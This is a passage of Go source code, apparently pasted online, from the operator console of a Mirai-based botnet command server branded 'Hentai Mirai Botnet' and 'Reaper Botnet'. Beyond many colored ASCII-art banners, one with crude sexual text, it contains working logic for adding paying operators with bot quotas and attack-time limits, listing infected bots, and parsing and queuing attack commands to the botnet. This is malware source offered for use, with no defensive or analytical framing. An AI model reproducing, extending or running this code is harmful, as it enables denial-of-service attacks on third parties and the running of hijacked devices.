  546. this.conn.Write([]byte("\033[1;31m `````````_¶¶¶¶¶¶0¶¶000000¶¶¶¶¶¶¶000000000000100¶¶¶¶0_`_ \r\n"))
  547. this.conn.Write([]byte("\033[1;31m `````````1¶¶¶¶¶0¶¶¶000000000¶¶¶¶¶¶000000000¶00¶¶01````` \r\n"))
  548. this.conn.Write([]byte("\033[1;31m `````````¶¶¶¶¶0¶0¶¶¶0000000000000¶0¶00000000011_``````_ \r\n"))
  549. this.conn.Write([]byte("\033[1;31m ````````1¶¶0¶¶¶0¶¶¶¶¶¶¶000000000000000000000¶11___11111 \r\n"))
  550. this.conn.Write([]byte("\033[1;31m ````````¶¶¶¶0¶¶¶¶¶00¶¶¶¶¶¶000000000000000000¶011111111_ \r\n"))
  551. this.conn.Write([]byte("\033[1;31m ```````_¶¶¶¶¶¶¶¶¶0000000¶0¶00000000000000000¶01_1111111 \r\n"))
  552. this.conn.Write([]byte("\033[1;31m ```````0¶¶¶¶¶¶¶¶¶000000000000000000000000000¶01___````` \r\n"))
  553. this.conn.Write([]byte("\033[1;31m ```````¶¶¶¶¶¶0¶¶¶000000000000000000000000000¶01___1```` \r\n"))
  554. this.conn.Write([]byte("\033[1;31m ``````_¶¶¶¶¶¶¶¶¶00000000000000000000000000000011_111``` \r\n"))
  555. this.conn.Write([]byte("\033[1;31m ``````0¶¶0¶¶¶0¶¶0000000000000000000000000000¶01`1_11_`` \r\n"))
  556. this.conn.Write([]byte("\033[1;31m ``````¶¶¶¶¶¶0¶¶¶0000000000000000000000000000001`_0_11_` \r\n"))
  557. this.conn.Write([]byte("\033[1;31m ``````¶¶¶¶¶¶¶¶¶00000000000000000000000000000¶01``_0_11` \r\n"))
  558. this.conn.Write([]byte("\033[1;31m ``````¶¶¶¶0¶¶¶¶00000000000000000000000000000001```_1_11 \r\n"))
  559. continue
  560. }
  561. if err != nil || cmd == ":kitty" {
  562. this.conn.Write([]byte("\033[2J\033[1;1H"))
  563. this.conn.Write([]byte("\033[1;95m \r\n"))
  564. this.conn.Write([]byte("\033[1;95m __ ___ _aaaa \r\n"))
  565. this.conn.Write([]byte("\033[1;95m d8888aa,_ a8888888a __a88888888b \r\n"))
  566. this.conn.Write([]byte("\033[1;95m d8P `Y88ba. a8P'~~~~Y88a888P~~~~~~Y88b \r\n"))
  567. this.conn.Write([]byte("\033[1;95m d8P ~~Y88a____aaaaa_____a8P 888 Y88 \r\n"))
  568. this.conn.Write([]byte("\033[1;95m d8P ~Y88~8~~~~~~~88888P 88g 88 \r\n"))
  569. this.conn.Write([]byte("\033[1;95m d8P 88 ____ _88y__ 88b \r\n"))
  570. this.conn.Write([]byte("\033[1;95m 88 a88 _a88~8888 8M88a_____888 \r\n"))
  571. this.conn.Write([]byte("\033[1;95m 88 88P 88 a8 `888888888b_ \r\n"))
  572. this.conn.Write([]byte("\033[1;95m a8P 88 88 a88 88b Y8, \r\n"))
  573. this.conn.Write([]byte("\033[1;95m 8b 88 8888P 388 88b \r\n"))
  574. this.conn.Write([]byte("\033[1;95m a88a Y8b 88L 8888. 88P \r\n"))
  575. this.conn.Write([]byte("\033[1;95m a8P Y8_ _888 _a8P 88 a88 \r\n"))
  576. this.conn.Write([]byte("\033[1;95m _8P ~Y88a888~888g_ a888yg8 a88 \r\n"))
  577. this.conn.Write([]byte("\033[1;95m 88 ~~~~ ~ 8888 a88P \r\n"))
  578. this.conn.Write([]byte("\033[1;95m d8 Y8, 888L \r\n"))
  579. this.conn.Write([]byte("\033[1;95m 8E 88a___a8 888 \r\n"))
  580. this.conn.Write([]byte("\033[1;95m d8P ~Y888 88L \r\n"))
  581. this.conn.Write([]byte("\033[1;95m 88 ~~ 88 \r\n"))
  582. this.conn.Write([]byte("\033[1;95m 88 88 \r\n"))
  583. this.conn.Write([]byte("\033[1;95m 88 88b \r\n"))
  584. this.conn.Write([]byte("\033[1;95m ____88a_. a8a __881 \r\n"))
  585. this.conn.Write([]byte("\033[1;95m88 P~888 888b __ 8888888888 \r\n"))
  586. this.conn.Write([]byte("\033[1;95m 888 888P d88b 88 \r\n"))
  587. this.conn.Write([]byte("\033[1;95m _888ba ~ aaaa. 8888 d8P \r\n"))
  588. this.conn.Write([]byte("\033[1;95m a888~ Y88 BBBBBB 8P 8aa888_ \r\n"))
  589. this.conn.Write([]byte("\033[1;95m Y8b Y888P 88 888a \r\n"))
  590. this.conn.Write([]byte("\033[1;95m _88gB ~~~ a88 ~~ \r\n"))
  591. this.conn.Write([]byte("\033[1;95m __a8 888_ a_ a88 \r\n"))
  592. this.conn.Write([]byte("\033[1;95m 88 88g 888g_ \r\n"))
  593. this.conn.Write([]byte("\033[1;95m ~ 88a_ _a88 Y88gg, \r\n"))
  594. this.conn.Write([]byte("\033[1;95m 888aa_. _a88 ~88 \r\n"))
  595. this.conn.Write([]byte("\033[1;95m ~~ 8888aaa______ ____a888P \r\n"))
  596. this.conn.Write([]byte("\033[1;95m ~~~~~~888888888888888888~~~~~ \r\n"))
  597. this.conn.Write([]byte("\033[1;95m ~~~~~~~~~~~~ \r\n"))
  598. continue
  599. }
  600. if err != nil || cmd == ":saikin" {
  601. this.conn.Write([]byte("\033[2J\033[1;1H"))
  602. this.conn.Write([]byte("\033[0;35m\r\n"))
  603. this.conn.Write([]byte("\033[1;30m This Net is Owned by Kasaya\r\n\033[0m"))
  604. this.conn.Write([]byte("\033[1;35m\r\n"))
  605. this.conn.Write([]byte("\033[1;96m ███████╗ █████╗ ██╗██╗ ██╗██╗███╗ ██╗\r\n"))
  606. this.conn.Write([]byte("\033[1;96m ██╔════╝██╔══██╗██║██║ ██╔╝██║████╗ ██║\r\n"))
  607. this.conn.Write([]byte("\033[1;96m ███████╗███████║██║█████╔╝ ██║██╔██╗ ██║\r\n"))
  608. this.conn.Write([]byte("\033[1;96m ╚════██║██╔══██║██║██╔═██╗ ██║██║╚██╗██║\r\n"))
  609. this.conn.Write([]byte("\033[1;96m ███████║██║ ██║██║██║ ██╗██║██║ ╚████║\r\n"))
  610. this.conn.Write([]byte("\033[1;96m ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝\r\n"))
  611. this.conn.Write([]byte("\x1b[0;36m \x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\x1b[0;94mVersion 8\x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\r\n\x1b[0m"))
  612. continue
  613. }
  614. if err != nil || cmd == ":timeout" {
  615. this.conn.Write([]byte("\033[2J\033[1;1H"))
  616. this.conn.Write([]byte("\033[0;35m \r\n"))
  617. this.conn.Write([]byte("\033[1;30m \r\n\033[0m"))
  618. this.conn.Write([]byte("\033[1;92m ████████\033[95m╗\033[92m██\033[95m╗\033[92m███\033[95m╗ \033[92m███\033[95m╗\033[92m███████\033[95m╗ \033[92m██████\033[95m╗ \033[92m██\033[95m╗ \033[92m██\033[95m╗\033[92m████████\033[95m╗ \r\n"))
  619. this.conn.Write([]byte("\033[1;95m ╚══██╔══╝██║████╗ ████║██╔════╝██╔═══██╗██║ ██║╚══██╔══╝ \r\n"))
  620. this.conn.Write([]byte("\033[1;92m ██\033[95m║ \033[92m██\033[95m║\033[92m██\033[95m╔\033[92m████\033[95m╔\033[92m██\033[95m║\033[92m█████\033[95m╗ \033[92m██\033[95m║ \033[92m██\033[95m║\033[92m██\033[95m║ \033[92m██\033[95m║ \033[92m██\033[95m║ \r\n"))
  621. this.conn.Write([]byte("\033[1;92m ██\033[95m║ \033[92m██\033[95m║\033[92m██\033[95m║╚\033[92m██\033[95m╔╝\033[92m██\033[95m║\033[92m██\033[95m╔══╝ \033[92m██\033[95m║ \033[92m██\033[95m║\033[92m██\033[95m║ \033[92m██\033[95m║ \033[92m██\033[95m║ \r\n"))
  622. this.conn.Write([]byte("\033[1;92m ██\033[95m║ \033[92m██\033]95m║\033[92m ██\033[95m║ ╚═╝ \033[92m██\033[95m║\033[92m███████\033[95m╗╚\033[92m██████\033[95m╔╝╚\033[92m██████\033[95m╔╝ \033[92m██\033[95m║ \r\n"))
  623. this.conn.Write([]byte("\033[1;95m ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ \r\n"))
  624. this.conn.Write([]byte("\033[1;92m \r\n"))
  625. this.conn.Write([]byte("\x1b[0;37m \r\n\x1b[0m"))
  626. continue
  627. }
  628. if err != nil || cmd == ":xanax" {
  629. this.conn.Write([]byte("\033[2J\033[1;1H"))
  630. this.conn.Write([]byte("\r\n"))
  631. this.conn.Write([]byte("\r \x1b[0;35m██\x1b[0;37m╗ \x1b[0;35m██\x1b[0;37m╗ \x1b[0;35m█████\x1b[0;37m╗ \x1b[0;35m███\x1b[0;37m╗ \x1b[0;35m██\x1b[0;37m╗ \x1b[0;35m█████\x1b[0;37m╗ \x1b[0;35m██\x1b[0;37m╗ \x1b[0;35m██\x1b[0;37m╗\r\n"))
  632. this.conn.Write([]byte("\r \x1b[0;37m╚\x1b[0;35m██\x1b[0;37m╗\x1b[0;35m██\x1b[0;37m╔╝\x1b[0;35m██\x1b[0;37m╔══\x1b[0;35m██\x1b[0;37m╗\x1b[0;35m████\x1b[0;37m╗ \x1b[0;35m██\x1b[0;37m║\x1b[0;35m██\x1b[0;37m╔══\x1b[0;35m██\x1b[0;37m╗╚\x1b[0;35m██\x1b[0;37m╗\x1b[0;35m██\x1b[0;37m╔╝\r\n"))
  633. this.conn.Write([]byte("\r \x1b[0;37m ╚\x1b[0;35m███\x1b[0;37m╔╝ \x1b[0;35m███████\x1b[0;37m║\x1b[0;35m██\x1b[0;37m╔\x1b[0;35m██\x1b[0;37m╗ \x1b[0;35m██\x1b[0;37m║\x1b[0;35m███████\x1b[0;37m║ ╚\x1b[0;35m███\x1b[0;37m╔╝ \r\n"))
  634. this.conn.Write([]byte("\r \x1b[0;35m ██\x1b[0;37m╔\x1b[0;35m██\x1b[0;37m╗ \x1b[0;35m██\x1b[0;37m╔══\x1b[0;35m██\x1b[0;37m║\x1b[0;35m██\x1b[0;37m║╚\x1b[0;35m██\x1b[0;37m╗\x1b[0;35m██\x1b[0;37m║\x1b[0;35m██\x1b[0;37m╔══\x1b[0;35m██\x1b[0;37m║\x1b[0;35m ██\x1b[0;37m╔\x1b[0;35m██\x1b[0;37m╗ \r\n"))
  635. this.conn.Write([]byte("\r \x1b[0;35m██\x1b[0;37m╔╝ \x1b[0;35m██\x1b[0;37m╗\x1b[0;35m██\x1b[0;37m║ \x1b[0;35m██\x1b[0;37m║\x1b[0;35m██\x1b[0;37m║ ╚\x1b[0;35m████\x1b[0;37m║\x1b[0;35m██\x1b[0;37m║ \x1b[0;35m██\x1b[0;37m║\x1b[0;35m██\x1b[0;37m╔╝\x1b[0;35m ██\x1b[0;37m╗\r\n"))
  636. this.conn.Write([]byte("\r \x1b[0;37m╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝\r\n"))
  637. this.conn.Write([]byte("\r \x1b[0;35m*** \x1b[0;37mWelcome To Xanax | Version 8.0 \x1b[0;35m***\r\n"))
  638. this.conn.Write([]byte("\r \x1b[0;35m*** \x1b[0;37mPowered By Mirai #Reps \x1b[0;35m***\r\n"))
  639. this.conn.Write([]byte("\r\n"))
  640. continue
  641. }
  642. if err != nil || cmd == ":reaper" {
  643. this.conn.Write([]byte("\033[2J\033[1;1H"))
  644. this.conn.Write([]byte("\033[1;35m ... \r\n"))
  645. this.conn.Write([]byte("\033[1;35m ;::::; \r\n"))
  646. this.conn.Write([]byte("\033[1;35m ;::::; :; \r\n"))
  647. this.conn.Write([]byte("\033[1;35m ;:::::' :; \r\n"))
  648. this.conn.Write([]byte("\033[1;35m ;:::::; ;. \r\n"))
  649. this.conn.Write([]byte("\033[1;35m ,:::::' ; OOO \r\n"))
  650. this.conn.Write([]byte("\033[1;35m ::::::; ; OOOOO \r\n"))
  651. this.conn.Write([]byte("\033[1;35m ;:::::; ; OOOOOOOO \r\n"))
  652. this.conn.Write([]byte("\033[1;35m ,;::::::; ;' / OOOOOOO \r\n"))
  653. this.conn.Write([]byte("\033[1;35m ;:::::::::`. ,,,;. / / DOOOOOO \r\n"))
  654. this.conn.Write([]byte("\033[1;35m .';:::::::::::::::::;, / / DOOOO \r\n"))
  655. this.conn.Write([]byte("\033[1;35m ,::::::;::::::;;;;::::;, / / DOOO \r\n"))
  656. this.conn.Write([]byte("\033[1;35m ;`::::::`'::::::;;;::::: ,#/ / DOOO \r\n"))
  657. this.conn.Write([]byte("\033[1;35m :`:::::::`;::::::;;::: ;::# / DOOO \r\n"))
  658. this.conn.Write([]byte("\033[1;35m ::`:::::::`;:::::::: ;::::# / DOO \r\n"))
  659. this.conn.Write([]byte("\033[1;35m `:`:::::::`;:::::: ;::::::#/ DOO \r\n"))
  660. this.conn.Write([]byte("\033[1;35m :::`:::::::`;; ;:::::::::## OO \r\n"))
  661. this.conn.Write([]byte("\033[1;35m ::::`:::::::`;::::::::;:::# OO \r\n"))
  662. this.conn.Write([]byte("\033[1;35m `:::::`::::::::::::;'`:;::# O \r\n"))
  663. this.conn.Write([]byte("\033[1;35m `:::::`::::::::;' / / `:# \r\n"))
  664. this.conn.Write([]byte("\033[1;35m \r\n"))
  665. this.conn.Write([]byte("\033[1;35m Welcome To The Reaper Botnet \r\n"))
  666. this.conn.Write([]byte("\033[1;35m Type ? To Get Started \r\n"))
  667. this.conn.Write([]byte("\033[1;35m \r\n"))
  668. continue
  669. }
  670. if err != nil || cmd == ":hentai" {
  671. this.conn.Write([]byte("\033[2J\033[1;1H"))
  672. this.conn.Write([]byte("\r\x1b[0;96mSenpai\x1b[0;33m: \033[0m" + username + "\r\n"))
  673. this.conn.Write([]byte("\r\x1b[0;95mPassword\x1b[0;33m: **********\033[0m\r\n"))
  674. this.conn.Write([]byte("\r\n\033[0m"))
  675. this.conn.Write([]byte("\r\x1b[0;37m [\x1b[0;31m+\x1b[0;95m] \x1b[0;96mFuck Me Senpai <3 \x1b[0;95m[\x1b[0;31m+\x1b[0;95m] \r\n"))
  676. this.conn.Write([]byte("\r\n\033[0m"))
  677. this.conn.Write([]byte("\r\x1b[0;95m \r\n"))
  678. this.conn.Write([]byte("\r\x1b[0;95m ██\x1b[0;96m╗ \x1b[0;95m██\x1b[0;96m╗\x1b[0;95m███████\x1b[0;96m╗\x1b[0;95m███\x1b[0;96m╗ \x1b[0;95m██\x1b[0;96m╗\x1b[0;95m████████\x1b[0;96m╗ \x1b[0;95m█████\x1b[0;96m╗ \x1b[0;95m██\x1b[0;96m╗ \r\n"))
  679. this.conn.Write([]byte("\r\x1b[0;95m ██\x1b[0;96m║ \x1b[0;95m██\x1b[0;96m║\x1b[0;95m██\x1b[0;96m╔════╝\x1b[0;95m████\x1b[0;96m╗ \x1b[0;95m██\x1b[0;96m║╚══\x1b[0;95m██\x1b[0;96m╔══╝\x1b[0;95m██\x1b[0;96m╔══\x1b[0;95m██\x1b[0;96m╗\x1b[0;95m██\x1b[0;96m║ \r\n"))
  680. this.conn.Write([]byte("\r\x1b[0;95m ███████\x1b[0;96m║\x1b[0;95m█████\x1b[0;96m╗ \x1b[0;95m██\x1b[0;96m╔\x1b[0;95m██\x1b[0;96m╗ \x1b[0;95m██\x1b[0;96m║ \x1b[0;95m██\x1b[0;96m║ \x1b[0;95m███████\x1b[0;96m║\x1b[0;95m██\x1b[0;96m║ \r\n"))
  681. this.conn.Write([]byte("\r\x1b[0;95m ██\x1b[0;96m╔══\x1b[0;95m██\x1b[0;96m║\x1b[0;95m██\x1b[0;96m╔══╝ \x1b[0;95m██\x1b[0;96m║╚\x1b[0;95m██\x1b[0;96m╗\x1b[0;95m██\x1b[0;96m║ \x1b[0;95m██\x1b[0;96m║ \x1b[0;95m██\x1b[0;96m╔══\x1b[0;95m██\x1b[0;96m║\x1b[0;95m██\x1b[0;96m║ \r\n"))
  682. this.conn.Write([]byte("\r\x1b[0;95m ██\x1b[0;96m║ \x1b[0;95m██\x1b[0;96m║\x1b[0;95m███████\x1b[0;96m╗\x1b[0;95m██\x1b[0;96m║ ╚\x1b[0;95m████\x1b[0;96m║ \x1b[0;95m██\x1b[0;96m║ \x1b[0;95m██\x1b[0;96m║ \x1b[0;95m██\x1b[0;96m║\x1b[0;95m██\x1b[0;96m║ \r\n"))
  683. this.conn.Write([]byte("\r\x1b[0;96m ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ \r\n"))
  684. this.conn.Write([]byte("\r\x1b[0;95m [\x1b[0;31m+\x1b[0;96m] Hentai Mirai Botnet - Created By Kasaya <3 [\x1b[0;31m+\x1b[0;95m] \r\n"))
  685. this.conn.Write([]byte("\r\x1b[0;95m \r\n"))
  686. this.conn.Write([]byte("\r\n\033[0m"))
  687. continue
  688.  
  689. }
  690. if err != nil || cmd == "exit" || cmd == "quit" {
  691. return
  692. }
  693.  
  694. if cmd == "" {
  695. continue
  696. }
  697.  
  698. botCount = userInfo.maxBots
  699.  
  700. if userInfo.admin == 1 && cmd == "Adduser" {
  701. this.conn.Write([]byte("U:Username \r\n"))
  702. new_un, err := this.ReadLine(false)
  703. if err != nil {
  704. return
  705. }
  706. this.conn.Write([]byte("P:Password: \r\n"))
  707. new_pw, err := this.ReadLine(false)
  708. if err != nil {
  709. return
  710. }
  711. this.conn.Write([]byte("BT:Bot count (-1 for full network): \r\n"))
  712. max_bots_str, err := this.ReadLine(false)
  713. if err != nil {
  714. return
  715. }
  716. max_bots, err := strconv.Atoi(max_bots_str)
  717. if err != nil {
  718. this.conn.Write([]byte(fmt.Sprintf("\033[37m%s\033[01;35m\r\n", "Unable to parse Bots")))
  719. continue
  720. }
  721. this.conn.Write([]byte("MAT:Maximum Attack Time (-1 for None): \r\n"))
  722. duration_str, err := this.ReadLine(false)
  723. if err != nil {
  724. return
  725. }
  726. duration, err := strconv.Atoi(duration_str)
  727. if err != nil {
  728. this.conn.Write([]byte(fmt.Sprintf("\033[37m%s\033[01;35m\r\n", "unable to parse the duration of the attack")))
  729. continue
  730. }
  731. this.conn.Write([]byte("RE:Recharge (0 for no): \r\n"))
  732. cooldown_str, err := this.ReadLine(false)
  733. if err != nil {
  734. return
  735. }
  736. cooldown, err := strconv.Atoi(cooldown_str)
  737. if err != nil {
  738. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[00;37m\r\n", "failed to parse recovery time")))
  739. continue
  740. }
  741. this.conn.Write([]byte("New account information: \r\n Username: " + new_un + "\r\nPass: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
  742. confirm, err := this.ReadLine(false)
  743. if err != nil {
  744. return
  745. }
  746. if confirm != "y" {
  747. continue
  748. }
  749. if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
  750. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[00;37m\r\n", "Could not create new user.")))
  751. } else {
  752. this.conn.Write([]byte("\033[32;1mUser successfully added.\033[00;37m\r\n"))
  753. }
  754. continue
  755. }
  756. if cmd == "Vibies" || cmd == "bots" {
  757. m := clientList.Distribution()
  758. for k, v := range m {
  759. this.conn.Write([]byte(fmt.Sprintf("\033[33;1m%s:\t%d\033[0m\r\n", k, v)))
  760. }
  761. continue
  762. }
  763. if cmd[0] == '-' {
  764. countSplit := strings.SplitN(cmd, " ", 2)
  765. count := countSplit[0][1:]
  766. botCount, err = strconv.Atoi(count)
  767. if err != nil {
  768. this.conn.Write([]byte(fmt.Sprintf("\033[31;1mUnable to parse the number of Vibies \"%s\"\033[00;37m\r\n", count)))
  769. continue
  770. }
  771. if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
  772. this.conn.Write([]byte(fmt.Sprintf("\033[31;1mThe number of Vibies is more than the maximum allowed\033[00;37m\r\n")))
  773. continue
  774. }
  775. cmd = countSplit[1]
  776. }
  777. if userInfo.admin == 1 && cmd[0] == '^' {
  778. cataSplit := strings.SplitN(cmd, " ", 2)
  779. botCatagory = cataSplit[0][1:]
  780. cmd = cataSplit[1]
  781. }
  782.  
  783. atk, err := NewAttack(cmd, userInfo.admin)
  784. if err != nil {
  785. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[00;37m\r\n", err.Error())))
  786. } else {
  787. buf, err := atk.Build()
  788. if err != nil {
  789. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[00;37m\r\n", err.Error())))
  790. } else {
  791. if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
  792. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[00;37m\r\n", err.Error())))
  793. } else if !database.ContainsWhitelistedTargets(atk) {
  794. clientList.QueueBuf(buf, botCount, botCatagory)
  795. } else {
  796. fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
  797. }
  798. }
  799. }
  800. }
  801. }
  802.  
  803. func (this *Admin) ReadLine(masked bool) (string, error) {
  804. buf := make([]byte, 1024)
  805. bufPos := 0
  806.  
  807. for {
  808. n, err := this.conn.Read(buf[bufPos:bufPos+1])
  809. if err != nil || n != 1 {
  810. return "", err
  811. }
  812. if buf[bufPos] == '\xFF' {
  813. n, err := this.conn.Read(buf[bufPos:bufPos+2])
  814. if err != nil || n != 2 {
  815. return "", err
  816. }
  817. bufPos--
  818. } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
  819. if bufPos > 0 {
  820. this.conn.Write([]byte(string(buf[bufPos])))
  821. bufPos--
  822. }
  823. bufPos--
  824. } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
  825. bufPos--
  826. } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
  827. this.conn.Write([]byte("\r\n"))
  828. return string(buf[:bufPos]), nil
  829. } else if buf[bufPos] == 0x03 {
  830. this.conn.Write([]byte("^C\r\n"))
  831. return "", nil
  832. } else {
  833. if buf[bufPos] == '\x1B' {
  834. buf[bufPos] = '^';
  835. this.conn.Write([]byte(string(buf[bufPos])))
  836. bufPos++;
  837. buf[bufPos] = '[';
  838. this.conn.Write([]byte(string(buf[bufPos])))
  839. } else if masked {
  840. this.conn.Write([]byte("*"))
  841. } else {
  842. this.conn.Write([]byte(string(buf[bufPos])))
  843. }
  844. }
  845. bufPos++
  846. }
  847. return string(buf), nil
  848. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement